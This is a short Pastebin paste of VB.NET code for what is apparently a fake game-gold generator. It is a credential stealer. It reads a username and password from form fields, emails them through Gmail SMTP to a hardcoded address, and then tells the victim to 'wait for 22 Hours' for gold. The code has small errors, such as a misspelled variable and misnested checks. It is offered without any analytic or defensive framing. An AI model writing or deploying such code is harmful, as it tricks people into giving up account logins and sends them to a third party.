Advertisement
jabbomonster

Untitled

Feb 9th, 2016
512
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.89 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3. If TextBox1.Text = "" Then
  4. MsgBox("Username is Missing")
  5. If TextBox2.Text = "" Then
  6. MsgBox("Password Is Missing")
  7. Else
  8. End If
  9. End If
  10. Dim smtpServer As New SmtpClient()
  11. Dim Mail As New MailMessage()
  12. smtpServer.Credentials = New Net.NetworkCredential("email@gmail.com", "password")
  13. 'using gmail
  14. smtpServer.Port = 587
  15. smtpServer.Host = "smtp.gmail.com"
  16. smtpServer.EnableSsl = True
  17. Mail = New MailMessage()
  18. Mail.From = New MailAddress("email@gmail.com")
  19. Mail.To.Add("email@gmail.com")
  20. Mail.Subject = "Username: " & TextBox1.Text
  21. Mail.Body = "Username :" & TextBox1.Text & "," & "Password : " & TextBox2.Text
  22. smtppServer.Send(Mail)
  23. MsgBox("Wait for 22 Hours and Your Gold will be Added")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement